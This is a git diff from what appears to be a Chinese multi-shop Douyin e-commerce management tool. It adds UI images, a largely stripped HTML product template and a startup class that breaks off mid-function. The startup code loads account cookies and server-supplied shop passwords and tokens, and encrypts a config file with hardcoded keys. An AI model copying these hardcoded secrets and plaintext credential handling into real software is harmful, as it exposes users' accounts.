a/TEMUKJD/ResourcesBak/min.hover.png b/TEMUKJD/ResourcesBak/min.hover.png new file mode 100644 index 0000000..992c843 Binary files /dev/null and b/TEMUKJD/ResourcesBak/min.hover.png differ diff --git a/TEMUKJD/ResourcesBak/min.png b/TEMUKJD/ResourcesBak/min.png new file mode 100644 index 0000000..bf878d8 Binary files /dev/null and b/TEMUKJD/ResourcesBak/min.png differ diff --git a/TEMUKJD/ResourcesBak/normal.hover.png b/TEMUKJD/ResourcesBak/normal.hover.png new file mode 100644 index 0000000..1aa68e4 Binary files /dev/null and b/TEMUKJD/ResourcesBak/normal.hover.png differ diff --git a/TEMUKJD/ResourcesBak/normal.png b/TEMUKJD/ResourcesBak/normal.png new file mode 100644 index 0000000..bb1a37a Binary files /dev/null and b/TEMUKJD/ResourcesBak/normal.png differ diff --git a/TEMUKJD/ResourcesBak/qrcode.png b/TEMUKJD/ResourcesBak/qrcode.png new file mode 100644 index 0000000..b0c50df Binary files /dev/null and b/TEMUKJD/ResourcesBak/qrcode.png differ diff --git a/TEMUKJD/ResourcesBak/regedit_bg.png b/TEMUKJD/ResourcesBak/regedit_bg.png new file mode 100644 index 0000000..94f67a5 Binary files /dev/null and b/TEMUKJD/ResourcesBak/regedit_bg.png differ diff --git a/TEMUKJD/ResourcesBak/settings.png b/TEMUKJD/ResourcesBak/settings.png new file mode 100644 index 0000000..57abd05 Binary files /dev/null and b/TEMUKJD/ResourcesBak/settings.png differ diff --git a/TEMUKJD/ResourcesBak/system_1688.png b/TEMUKJD/ResourcesBak/system_1688.png new file mode 100644 index 0000000..a6a8eb5 Binary files /dev/null and b/TEMUKJD/ResourcesBak/system_1688.png differ diff --git a/TEMUKJD/ResourcesBak/system_1688.psd b/TEMUKJD/ResourcesBak/system_1688.psd new file mode 100644 index 0000000..9ee550d Binary files /dev/null and b/TEMUKJD/ResourcesBak/system_1688.psd differ diff --git a/TEMUKJD/ResourcesBak/system_pdd.png b/TEMUKJD/ResourcesBak/system_pdd.png new file mode 100644 index 0000000..6ff4da6 Binary files /dev/null and b/TEMUKJD/ResourcesBak/system_pdd.png differ diff --git a/TEMUKJD/ResourcesBak/system_pdd.psd b/TEMUKJD/ResourcesBak/system_pdd.psd new file mode 100644 index 0000000..d2a9a71 Binary files /dev/null and b/TEMUKJD/ResourcesBak/system_pdd.psd differ diff --git a/TEMUKJD/ResourcesBak/system_pdd_token.png b/TEMUKJD/ResourcesBak/system_pdd_token.png new file mode 100644 index 0000000..e8cd725 Binary files /dev/null and b/TEMUKJD/ResourcesBak/system_pdd_token.png differ diff --git a/TEMUKJD/ResourcesBak/system_pppoe.png b/TEMUKJD/ResourcesBak/system_pppoe.png new file mode 100644 index 0000000..d9610e6 Binary files /dev/null and b/TEMUKJD/ResourcesBak/system_pppoe.png differ diff --git a/TEMUKJD/ResourcesBak/system_proxy.png b/TEMUKJD/ResourcesBak/system_proxy.png new file mode 100644 index 0000000..01b6e2e Binary files /dev/null and b/TEMUKJD/ResourcesBak/system_proxy.png differ diff --git a/TEMUKJD/ResourcesBak/system_tb.png b/TEMUKJD/ResourcesBak/system_tb.png new file mode 100644 index 0000000..d91b36a Binary files /dev/null and b/TEMUKJD/ResourcesBak/system_tb.png differ diff --git a/TEMUKJD/ResourcesBak/system_tb.psd b/TEMUKJD/ResourcesBak/system_tb.psd new file mode 100644 index 0000000..b505496 Binary files /dev/null and b/TEMUKJD/ResourcesBak/system_tb.psd differ diff --git a/TEMUKJD/ResourcesBak/template.html b/TEMUKJD/ResourcesBak/template.html new file mode 100644 index 0000000..fe6d7f4 --- /dev/null +++ b/TEMUKJD/ResourcesBak/template.html @@ -0,0 +1,816 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + +
    +
    +
    +
    +
    +
    +
    + 产品主图:(点击图片可查看大图) + + 拖动图片以改变主图顺序 + (白底图建议拖动到第五张) + + 本地上传主图 +
    +
    +
      {MainImage}
    +
    +
    + +
    +
    商品属性:
    +
    + {ProductProp} +
    + +
    +
    SKU属性图:(点击图片可查看大图)
    +
    + {SkuProps} +
    + +
    +
    内容图:(点击图片可查看大图)
    + +
    +
    + {ContentImage} +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/TEMUKJD/ResourcesBak/tree_default_icon.png b/TEMUKJD/ResourcesBak/tree_default_icon.png new file mode 100644 index 0000000..36b5901 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_default_icon.png differ diff --git a/TEMUKJD/ResourcesBak/tree_default_icon_select.png b/TEMUKJD/ResourcesBak/tree_default_icon_select.png new file mode 100644 index 0000000..c516338 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_default_icon_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_云违规排查.png b/TEMUKJD/ResourcesBak/tree_云违规排查.png new file mode 100644 index 0000000..7c990a8 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_云违规排查.png differ diff --git a/TEMUKJD/ResourcesBak/tree_云违规排查.psd b/TEMUKJD/ResourcesBak/tree_云违规排查.psd new file mode 100644 index 0000000..2000192 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_云违规排查.psd differ diff --git a/TEMUKJD/ResourcesBak/tree_云违规排查_select.png b/TEMUKJD/ResourcesBak/tree_云违规排查_select.png new file mode 100644 index 0000000..92b4462 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_云违规排查_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_产品数据库.png b/TEMUKJD/ResourcesBak/tree_产品数据库.png new file mode 100644 index 0000000..e95e60b Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_产品数据库.png differ diff --git a/TEMUKJD/ResourcesBak/tree_产品数据库_select.png b/TEMUKJD/ResourcesBak/tree_产品数据库_select.png new file mode 100644 index 0000000..4588e20 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_产品数据库_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_佣金设置.png b/TEMUKJD/ResourcesBak/tree_佣金设置.png new file mode 100644 index 0000000..c5140b3 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_佣金设置.png differ diff --git a/TEMUKJD/ResourcesBak/tree_佣金设置.psd b/TEMUKJD/ResourcesBak/tree_佣金设置.psd new file mode 100644 index 0000000..ff238b3 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_佣金设置.psd differ diff --git a/TEMUKJD/ResourcesBak/tree_佣金设置_select.png b/TEMUKJD/ResourcesBak/tree_佣金设置_select.png new file mode 100644 index 0000000..8165385 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_佣金设置_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_净化数据.png b/TEMUKJD/ResourcesBak/tree_净化数据.png new file mode 100644 index 0000000..376b5a5 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_净化数据.png differ diff --git a/TEMUKJD/ResourcesBak/tree_净化数据_select.png b/TEMUKJD/ResourcesBak/tree_净化数据_select.png new file mode 100644 index 0000000..02fcd70 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_净化数据_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_商品上下架.png b/TEMUKJD/ResourcesBak/tree_商品上下架.png new file mode 100644 index 0000000..ebf40b8 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_商品上下架.png differ diff --git a/TEMUKJD/ResourcesBak/tree_商品上下架_select.png b/TEMUKJD/ResourcesBak/tree_商品上下架_select.png new file mode 100644 index 0000000..a13bfbf Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_商品上下架_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_商品发布.png b/TEMUKJD/ResourcesBak/tree_商品发布.png new file mode 100644 index 0000000..b02957c Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_商品发布.png differ diff --git a/TEMUKJD/ResourcesBak/tree_商品发布_select.png b/TEMUKJD/ResourcesBak/tree_商品发布_select.png new file mode 100644 index 0000000..1fac792 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_商品发布_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_商品管理.png b/TEMUKJD/ResourcesBak/tree_商品管理.png new file mode 100644 index 0000000..ebf40b8 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_商品管理.png differ diff --git a/TEMUKJD/ResourcesBak/tree_商品管理_select.png b/TEMUKJD/ResourcesBak/tree_商品管理_select.png new file mode 100644 index 0000000..a13bfbf Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_商品管理_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_库存管理.png b/TEMUKJD/ResourcesBak/tree_库存管理.png new file mode 100644 index 0000000..78f6f65 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_库存管理.png differ diff --git a/TEMUKJD/ResourcesBak/tree_库存管理_select.png b/TEMUKJD/ResourcesBak/tree_库存管理_select.png new file mode 100644 index 0000000..4791ee8 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_库存管理_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_店铺列表.png b/TEMUKJD/ResourcesBak/tree_店铺列表.png new file mode 100644 index 0000000..b12cb0f Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_店铺列表.png differ diff --git a/TEMUKJD/ResourcesBak/tree_店铺列表_select.png b/TEMUKJD/ResourcesBak/tree_店铺列表_select.png new file mode 100644 index 0000000..72fcb3f Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_店铺列表_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_清理无流量.png b/TEMUKJD/ResourcesBak/tree_清理无流量.png new file mode 100644 index 0000000..6aef87b Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_清理无流量.png differ diff --git a/TEMUKJD/ResourcesBak/tree_清理无流量_select.png b/TEMUKJD/ResourcesBak/tree_清理无流量_select.png new file mode 100644 index 0000000..49e7b1a Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_清理无流量_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_用户管理.png b/TEMUKJD/ResourcesBak/tree_用户管理.png new file mode 100644 index 0000000..7bfa542 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_用户管理.png differ diff --git a/TEMUKJD/ResourcesBak/tree_用户管理.psd b/TEMUKJD/ResourcesBak/tree_用户管理.psd new file mode 100644 index 0000000..6dbe2e3 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_用户管理.psd differ diff --git a/TEMUKJD/ResourcesBak/tree_用户管理_select.png b/TEMUKJD/ResourcesBak/tree_用户管理_select.png new file mode 100644 index 0000000..ff7f88e Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_用户管理_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_素材库管理.png b/TEMUKJD/ResourcesBak/tree_素材库管理.png new file mode 100644 index 0000000..4e55a83 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_素材库管理.png differ diff --git a/TEMUKJD/ResourcesBak/tree_素材库管理.psd b/TEMUKJD/ResourcesBak/tree_素材库管理.psd new file mode 100644 index 0000000..ee58284 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_素材库管理.psd differ diff --git a/TEMUKJD/ResourcesBak/tree_素材库管理_select.png b/TEMUKJD/ResourcesBak/tree_素材库管理_select.png new file mode 100644 index 0000000..b5fb868 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_素材库管理_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_解除限制.png b/TEMUKJD/ResourcesBak/tree_解除限制.png new file mode 100644 index 0000000..5e9a9b8 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_解除限制.png differ diff --git a/TEMUKJD/ResourcesBak/tree_解除限制_select.png b/TEMUKJD/ResourcesBak/tree_解除限制_select.png new file mode 100644 index 0000000..c3464f7 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_解除限制_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_跳转上家.png b/TEMUKJD/ResourcesBak/tree_跳转上家.png new file mode 100644 index 0000000..98fe83e Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_跳转上家.png differ diff --git a/TEMUKJD/ResourcesBak/tree_跳转上家.psd b/TEMUKJD/ResourcesBak/tree_跳转上家.psd new file mode 100644 index 0000000..763d12e Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_跳转上家.psd differ diff --git a/TEMUKJD/ResourcesBak/tree_跳转上家_select.png b/TEMUKJD/ResourcesBak/tree_跳转上家_select.png new file mode 100644 index 0000000..a3cad79 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_跳转上家_select.png differ diff --git a/TEMUKJD/ResourcesBak/tree_运费模板.png b/TEMUKJD/ResourcesBak/tree_运费模板.png new file mode 100644 index 0000000..92e055d Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_运费模板.png differ diff --git a/TEMUKJD/ResourcesBak/tree_运费模板_select.png b/TEMUKJD/ResourcesBak/tree_运费模板_select.png new file mode 100644 index 0000000..ba61bf5 Binary files /dev/null and b/TEMUKJD/ResourcesBak/tree_运费模板_select.png differ diff --git a/TEMUKJD/ResourcesBak/user_login.png b/TEMUKJD/ResourcesBak/user_login.png new file mode 100644 index 0000000..1bda274 Binary files /dev/null and b/TEMUKJD/ResourcesBak/user_login.png differ diff --git a/TEMUKJD/ResourcesBak/公告发布.png b/TEMUKJD/ResourcesBak/公告发布.png new file mode 100644 index 0000000..f8785bc Binary files /dev/null and b/TEMUKJD/ResourcesBak/公告发布.png differ diff --git a/TEMUKJD/StartUp.cs b/TEMUKJD/StartUp.cs new file mode 100644 index 0000000..97b65c3 --- /dev/null +++ b/TEMUKJD/StartUp.cs @@ -0,0 +1,503 @@ +using AllBase; +using AllBase.Extension; +using AllBase.Helper; +using AllBase.Model.Param.CollectManage; +using AllBase.Model.Param.ProductManage; +using AllBase.Model.Param.ShopManage; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.BaseForms; +using LittleRabbit.LittleRabbitForms.UploadForms; +using NaiBa.Util; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work; +using Work.DouyinApiClass; + +namespace LittleRabbit +{ + public class StartUp + { + public static bool IsShopInit = false; + public static void Init() + { + InitOem(); + InitProxy(); + + // 抖音账号登录信息 + try { GlobalConfig.DouUserCookies = NaiBa.Util.Helper.FileHelper.ReadAllText("data\\config\\dou_user_cookies")?.Trim('\"'); } catch { } + if (GlobalConfig.DouUserCookies == null) + GlobalConfig.DouUserCookies = ""; + + try { GlobalConfig.DouBuyinCookies = NaiBa.Util.Helper.FileHelper.ReadAllText("data\\config\\dou_buyin_cookies")?.Trim('\"'); } catch { } + if (GlobalConfig.DouBuyinCookies == null) + GlobalConfig.DouBuyinCookies = ""; + + GlobalConfig.dicLocalStorage = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("dou_local_Storage"); + if (GlobalConfig.dicLocalStorage == null) + GlobalConfig.dicLocalStorage = new Dictionary(); + + #region 获取抖音类目 + DyCategoryParam.DyCategorys = Properties.Resources.DyCategorys; + #endregion + + #region 读取上传违规词 + FilterForm.LoadFilterWord(); + #endregion + + #region 数据净化参数 + GlobalConfig.FissionSettingParam = NaiBa.Util.Helper.ConfigHelper.LoadConfig("fission_setting_param"); + if (GlobalConfig.FissionSettingParam == null) + { + GlobalConfig.FissionSettingParam = new FissionSettingParam(); + } + #endregion + + #region 店铺登录信息 + Task.Run((Action)(() => + { + while (string.IsNullOrEmpty(BaseClass.CompanyName)) + Thread.Sleep(100); + + // 获取本地店铺和服务端店铺。将服务端相关信息与本地店铺合并后暂时存在内存中(不保存敏感信息)。 + GlobalConfig.DouShopLoginList = new ConcurrentList(); + // 获取服务端店铺 + var serverDouShopList = LittleRabbitForms.ShopForms.ShopListForm.GetServerDouShop(); + //var localDouShopList = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("dou_shop_login"); + //if (localDouShopList == null) + // localDouShopList = new ConcurrentList(); + //foreach (var serverShop in serverDouShopList) + //{ + // var localShop = localDouShopList.FirstOrDefault(s => s.ShopAccountId == serverShop.ShopAccountId); + // if (localShop == null) + // { + // localDouShopList.Add(serverShop); + // } + //} + var localDouShopList = new ConcurrentList(); + localDouShopList.AddRange(serverDouShopList); + foreach (var localShop in localDouShopList) + { + if (GlobalConfig.DouShopLoginList.Any(s => s.LoginName == localShop.LoginName)) + continue; + + var serverShop = serverDouShopList.FirstOrDefault(s => s.LoginName == localShop.LoginName); + if (serverShop != null) + { + localShop.ShopAccount = serverShop.ShopAccount; + localShop.LoginName = serverShop.LoginName; + localShop.Password = serverShop.Password; + localShop.Cookies = serverShop.Cookies; + localShop.DbId = serverShop.DbId; + localShop.ApiAuthInfoList = new List(); + localShop.ApiAuthInfoList.AddRange(serverShop.ApiAuthInfoList); + localShop.BuyApiAuth.AccessToken = serverShop.BuyApiAuth.AccessToken; + localShop.BuyApiAuth.AddTime = serverShop.BuyApiAuth.AddTime; + localShop.BuyApiAuth.AppKey = serverShop.BuyApiAuth.AppKey; + localShop.BuyApiAuth.ExpiresTime = serverShop.BuyApiAuth.ExpiresTime; + localShop.BuyApiAuth.RefreshToken = serverShop.BuyApiAuth.RefreshToken; + localShop.PayStatus = serverShop.PayStatus; + localShop.Group = serverShop.Group; + if (localShop.TrialUploadCount < 0) + localShop.TrialUploadCount = 0; + GlobalConfig.DouShopLoginList.Add(localShop); + } + } + GlobalConfig.DouShopLoginOtherAccountList = new ConcurrentList(); + GlobalConfig.DouShopLoginOtherAccountList.AddRange(localDouShopList.Where(l => !GlobalConfig.DouShopLoginList.Any(s => s.LoginName == l.LoginName))); + + + while (true) + { + var needRefresh = GlobalConfig.DouShopLoginList.Where(s => s.LastRefreshDate != DateTime.Now.ToString("yyyyMMdd")); + if (LittleRabbitForms.ShopForms.ShopListForm.Instance == null) + LittleRabbitForms.ShopForms.ShopListForm.Instance = new LittleRabbitForms.ShopForms.ShopListForm(); + LittleRabbitForms.ShopForms.ShopListForm.Instance.CheckShopLoginAsync(needRefresh.Select(r => r.ShopAccount).ToArray(), false); + IsShopInit = true; + + Thread.Sleep(1000 * 3600 * 24); // 每天刷新下验证,如果没关闭软件的话 + } + })); + #endregion + + #region 店铺设置参数 + GlobalConfig.DouShopSettingParam = NaiBa.Util.Helper.ConfigHelper.LoadConfig("dou_shop_setting_param"); + if (GlobalConfig.DouShopSettingParam == null) + { + GlobalConfig.DouShopSettingParam = new DouShopSettingParam + { + IsAutoDragLogin = false, + }; + } + #endregion + + #region 读取违规规则列表 + var violateRuleNameSelectList = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("violate_rule_name_select"); + if (violateRuleNameSelectList != null) + ViolateRuleParam.LstViolateRuleNameSelect = violateRuleNameSelectList; + #endregion + + #region 旧店铺商品数据本地缓存 供重复铺货检测使用 + GlobalConfig.SameProductCheckParamList = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("same_product_check_list"); + if (GlobalConfig.SameProductCheckParamList == null) + GlobalConfig.SameProductCheckParamList = new List(); + #endregion + + #region 读取店铺历史铺货 + Task.Run(() => + { + while (!IsShopInit) + { + Thread.Sleep(100); + } + + List tList = new List(); + var tick = BaseClass.DateTimeToTimestampSeconds(new DateTime(2022, 4, 25)); + while (true) + { + if (GlobalConfig.DouShopLoginList.All(shop => shop.ApiAuthStatus != "授权成功" + || GlobalConfig.SameProductCheckParamList.Any(sp => sp.ShopId == shop.ShopAccountId && sp.IsGetSuccess))) + { + Thread.Sleep(1000); + continue; + } + + tList.Clear(); + foreach (var shop in GlobalConfig.DouShopLoginList) + { + if (GlobalConfig.SameProductCheckParamList.Any(sp => sp.ShopId == shop.ShopAccountId && sp.IsGetSuccess)) + continue; + + if (shop.ApiAuthStatus != "授权成功") + continue; + + var t = Task.Run(() => + { + var shopTemp = shop; + try + { + var sameProductCheckParam = GlobalConfig.SameProductCheckParamList.FirstOrDefault(sp => sp.ShopId == shop.ShopAccountId); + if (sameProductCheckParam == null) + { + sameProductCheckParam = new SameProductCheckParam() + { + ShopId = shopTemp.ShopAccountId, + ShopName = shopTemp.ShopAccount, + ShopSamePrpductItemList = new List(), + }; + } + for (int i = 1; i <= 500; i++) + { + if (sameProductCheckParam.ShopSamePrpductItemList != null && sameProductCheckParam.ShopSamePrpductItemList.Count > 0) + tick = sameProductCheckParam.ShopSamePrpductItemList.Min(it => it.create_time).ParseToInt() - 1; + + DouyinApi douApi = new DouyinApi(shopTemp); + douApi.JsonData["page"] = "1"; + douApi.JsonData["size"] = "100"; + douApi.JsonData["end_time"] = tick.ToString(); + // check_status 指定审核状态返回商品列表:1未提审 2审核中 3审核通过 4审核驳回 5封禁 7审核通过,待上架状态 + //douApi.JsonData["check_status"] = "3"; + //douApi.JsonData["check_status"] = "1"; + //douApi.JsonData["status"] = "0"; + var resultOnline = douApi.GetProductList(); + if (resultOnline.Contains("已过期")) + { + shopTemp.ApiAuthStatus = "未授权"; + return; + } + while (!resultOnline.Contains("\"code\":10000")) + { + Thread.Sleep(Randomx.GetId(500, 1000) * tList.Count); + resultOnline = douApi.GetProductList(); + } + if (resultOnline != null && resultOnline.Contains("\"data\":[]")) + { + sameProductCheckParam.IsGetSuccess = true; + break; + } + + Newtonsoft.Json.Linq.JObject jObj = JsonHelper.JObjectParse(resultOnline); + var itemList = JsonHelper.DeserializeJsonToList(jObj["data"]?["data"]?.ToString()); + sameProductCheckParam.ShopSamePrpductItemList.AddRange(itemList); + + if (i % 10 == 9) + { + if (!GlobalConfig.SameProductCheckParamList.Contains(sameProductCheckParam)) + GlobalConfig.SameProductCheckParamList.Add(sameProductCheckParam); + sameProductCheckParam.ShopSamePrpductItemList = sameProductCheckParam.ShopSamePrpductItemList.DistinctBy(it => it.product_id).ToList(); + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("same_product_check_list", GlobalConfig.SameProductCheckParamList); + } + + Thread.Sleep(Randomx.GetId(500, 1000) * tList.Count); + } + if (!GlobalConfig.SameProductCheckParamList.Contains(sameProductCheckParam)) + GlobalConfig.SameProductCheckParamList.Add(sameProductCheckParam); + sameProductCheckParam.ShopSamePrpductItemList = sameProductCheckParam.ShopSamePrpductItemList.DistinctBy(it => it.product_id).ToList(); + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("same_product_check_list", GlobalConfig.SameProductCheckParamList); + } + catch (Exception ex) + { + } + }); + tList.Add(t); + } + Task.WaitAll(tList.ToArray()); + + Thread.Sleep(10000); + } + }); + #endregion + } + + public static void InitProxy() + { + GetProxyHtml.txtUrl = GetProxyHtml.orderId = ""; + if (FileBase.Exists("temp/proxy.txt")) + { + string sAgentIpKey = FileBase.ReadAllText("temp/proxy.txt").Trim(); + LittleRabbitForms.ToolForms.ProxyForm.InitProxyIp(sAgentIpKey, false); + } + } + + /// + /// 贴牌管理 + /// + public static void InitOem() + { + #region 代理版本获取代理码 + if (FileBase.Exists("locales/ig.pak")) + { + BaseClass.AgentCode = FileBase.ReadAllText("locales/ig.pak"); + + string agTxt = ""; + string agVersion = ""; + if (FileBase.Exists("locales/igx.pak")) + { + var agTxtArr = FileBase.ReadAllText("locales/igx.pak").Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries); + agTxt = BaseEncrypt.EncryptDecode(agTxtArr[0], "asdf1357", "vbnm2468"); + if (agTxtArr.Length >= 2) + agVersion = BaseEncrypt.EncryptDecode(agTxtArr[1], "asdf1357", "vbnm2468"); + } + + if (!agTxt.Contains("oem_title") + || !agTxt.Contains("oem_register") + || !agTxt.Contains("oem_reset") + || !agTxt.Contains("oem_notice") + || !agTxt.Contains("oem_video") + || !agTxt.Contains("oem_logo_link") + || !agTxt.Contains("oem_icon_link")) + { + agTxt = ""; + agVersion = ""; + } + + // 获取贴牌版本号 + string url = BaseClass.BuildObjString("oem_config&act=get_version"); + string data = UserLogin.GetSignaturex("", "") + "&agent_code=" + BaseClass.AgentCode; + string html = GetHtml.PostUtf8(url, data); + if (!string.IsNullOrEmpty(html) && html != agVersion) + { + agTxt = ""; + agVersion = html; + } + if (!html.Contains("\"code\":200")) + { + var msg = BaseRegex.GetStringJson(ref html, "msg"); + //BaseMsgForm.ShowError("获取版本信息失败,请检查电脑时间!"); + BaseMsgForm.ShowError(msg); + Process.GetCurrentProcess().Kill(); + return; + } + + if (string.IsNullOrEmpty(agTxt)) + { + // 根据代理码给贴牌信息赋值 + url = BaseClass.BuildObjString("oem_config&act=get_config_info"); + data = UserLogin.GetSignaturex("", "") + "&agent_code=" + BaseClass.AgentCode; + agTxt = GetHtml.PostUtf8(url, data); + if (!agTxt.Contains("\"code\":200")) + { + var msg = BaseRegex.GetStringJson(ref html, "msg"); + BaseMsgForm.ShowError(msg); + Process.GetCurrentProcess().Kill(); + return; + } + + File.WriteAllText("locales/igx.pak", + BaseEncrypt.EncryptEncode(agTxt, "asdf1357", "vbnm2468") + "\r\n" + BaseEncrypt.EncryptEncode(agVersion, "asdf1357", "vbnm2468")); + } + + if (!string.IsNullOrEmpty(agTxt) && agTxt.Contains("获取配置信息成功")) + { + var oem_title = BaseRegex.GetStringJson(ref agTxt, "oem_title"); + var oem_register = BaseRegex.GetStringJson(ref agTxt, "oem_register"); + var oem_reset = BaseRegex.GetStringJson(ref agTxt, "oem_reset"); + var oem_notice = BaseRegex.GetStringJson(ref agTxt, "oem_notice"); + var oem_video = BaseRegex.GetStringJson(ref agTxt, "oem_video"); + var oem_pay = BaseRegex.GetStringJson(ref agTxt, "oem_pay"); + var oem_pay_ip = BaseRegex.GetStringJson(ref agTxt, "oem_pay_ip"); + var oem_logo_link = BaseRegex.GetStringJson(ref agTxt, "oem_logo_link"); + var oem_icon_link = BaseRegex.GetStringJson(ref agTxt, "oem_icon_link"); + var oem_mobile = BaseRegex.GetStringJson(ref agTxt, "oem_mobile"); + var oem_open = BaseRegex.GetStringJson(ref agTxt, "oem_open"); + var oem_header_name = BaseRegex.GetStringJson(ref agTxt, "oem_header_name"); + var oem_qq = BaseRegex.GetStringJson(ref agTxt, "oem_qq"); + + // 软件标题 + if (!string.IsNullOrEmpty(oem_title)) + { + BaseClass.ToolName = oem_title; + } + // 开放注册 + if (!string.IsNullOrEmpty(oem_register)) + { + BaseClass.IsShowRegister = oem_register == "1"; + } + // 开户续费 + if (!string.IsNullOrEmpty(oem_open)) + { + BaseClass.IsShowOpenAccount = oem_open == "1"; + } + //// 找回密码 + //if (!string.IsNullOrEmpty(oem_reset)) + //{ + // BaseClass.IsShowForgetPwd = oem_reset == "1"; + //} + //// 公告显示 + //if (!string.IsNullOrEmpty(oem_notice)) + //{ + // BaseClass.IsHideAnnounce = oem_notice == "0"; + //} + //// 视频显示 + //if (!string.IsNullOrEmpty(oem_video)) + //{ + // BaseClass.IsShowGuidance = oem_video == "1"; + //} + //// 充值元宝 + //if (!string.IsNullOrEmpty(oem_pay)) + //{ + // BaseClass.IsShowRecharge = oem_pay == "1"; + //} + //// 代理ip + //if (!string.IsNullOrEmpty(oem_pay_ip)) + //{ + // BaseClass.IsShowBuyProxyIp = oem_pay_ip == "1"; + //} + // logo图片地址 + if (!string.IsNullOrEmpty(oem_logo_link)) + { + try + { + var bitmapBG = (Bitmap)Properties.Resources.ResourceManager.GetObject("login_bg_agent"); + var img = GetHtml.LoadImage(oem_logo_link); + Graphics g = Graphics.FromImage(bitmapBG); + g.DrawImage(img, new Rectangle(bitmapBG.Width / 2 - img.Width / 2, bitmapBG.Height / 2 - img.Height / 2, img.Width, img.Height)); + var imgBytes = ImageBuild.BitmapToBytes(bitmapBG); + img.Dispose(); + g.Dispose(); + GetHtml.LoadImage(oem_logo_link); + + // 登录窗口图标 + BaseClass.LoginImage = ImageBuild.BytesToImage(imgBytes); + + // 主窗体图标 + BaseClass.LogoImage = GetHtml.LoadImage(oem_logo_link); + } + catch + { + } + if (BaseClass.LoginImage == null || BaseClass.LogoImage == null) + { + BaseMsgForm.ShowError("获取版本信息失败,请检查电脑联网状态或电脑时间!"); + Process.GetCurrentProcess().Kill(); + return; + } + } + // icon图片地址 + if (!string.IsNullOrEmpty(oem_icon_link)) + { + BaseClass.Ico = GetHtml.LoadIcon(oem_icon_link); + if (BaseClass.Ico == null) + { + BaseMsgForm.ShowError("获取版本信息失败,请检查电脑联网状态或电脑时间!"); + Process.GetCurrentProcess().Kill(); + return; + } + } + // 客服QQ(或电话) + if (!string.IsNullOrEmpty(oem_qq)) + { + BaseClass.ServiceQQ = oem_qq; + } + //if (!string.IsNullOrEmpty(oem_header_name)) + //{ + // BaseClass.oem_header = oem_header_name; + //} + } + } + #endregion + } + + public static void SaveFissionSettingParam() + { + NaiBa.Util.Helper.ConfigHelper.SaveConfig("fission_setting_param", GlobalConfig.FissionSettingParam); + } + + public static void SaveDouShopLoginInfo() + { + ConcurrentList shopLoginListCopy = + JsonHelper.DeserializeJsonToObject>(JsonHelper.SerializeObject(GlobalConfig.DouShopLoginList)); + shopLoginListCopy.AddRange(GlobalConfig.DouShopLoginOtherAccountList); + // 替换掉密码,cookie等敏感参数 + foreach (var shop in shopLoginListCopy) + { + shop.Password = ""; + shop.Cookies = ""; + } + NaiBa.Util.Helper.ConfigHelper.SaveConfig("dou_shop_login", shopLoginListCopy); + } + + public static void SaveDouShopSettingParam() + { + NaiBa.Util.Helper.ConfigHelper.SaveConfig("dou_shop_setting_param", GlobalConfig.DouShopSettingParam); + } + + /// + /// 保存抖音采集用户cookie + /// + public static void SaveDouUserCookies() + { + 